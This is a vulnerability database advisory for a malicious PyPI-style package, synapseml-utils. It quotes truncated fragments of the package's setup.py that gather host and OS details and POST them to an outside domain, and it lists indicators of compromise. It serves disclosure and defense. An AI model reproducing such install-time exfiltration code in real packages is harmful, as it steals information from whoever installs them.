VDB
GCVE-110-OSM-2026-692
GCVE-110-OSM-2026-692
Advisory PublishedCVSS 9.6/10
Malicious package detected. Behaviors: data exfiltration.
Payload: setup.py
Key findings:
- System Information Exfiltration in setup.py: "socket.gethostname()),
"os": platform.system(),
"os_ve..."
- Python File Upload to Remote in setup.py: "urllib.request.Request(
"https://youjustgotbeamed.com/key",
..."
- POST Method Defined for Exfiltration in setup.py: "method="POST"
)
with urllib.request.urlopen"
- Platform Detection with Data Collection in setup.py: "platform.system(),
"os_version": platform.version(),
"machine_..."
IOCs:
- ipv4: 122.0.0.0
- urls: https://youjustgotbeamed.com/, https://youjustgotbeamed.com/key
- domains: youjustgotbeamed.com
- payloadFileHash: 94949c2a027de9b769d4b160e9d366d5b66f509cdd43451142099432bde86d81
Weaknesses (CWE)
CWE-506Embedded Malicious Code
Risk Scores
CVSS 3.1
9.6/10
Critical · CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
Affected Products
| Vendor | Product | Versions | Platforms |
|---|---|---|---|
| unknown | synapseml-utils | all (affected) | — |
Aliases
Browse GCVE Records
73,053 records in the GCVE database · Updated July 16, 2026
No matching records found.
Explore Further
Investigate this vulnerability in the interactive console or download the raw GCVE record.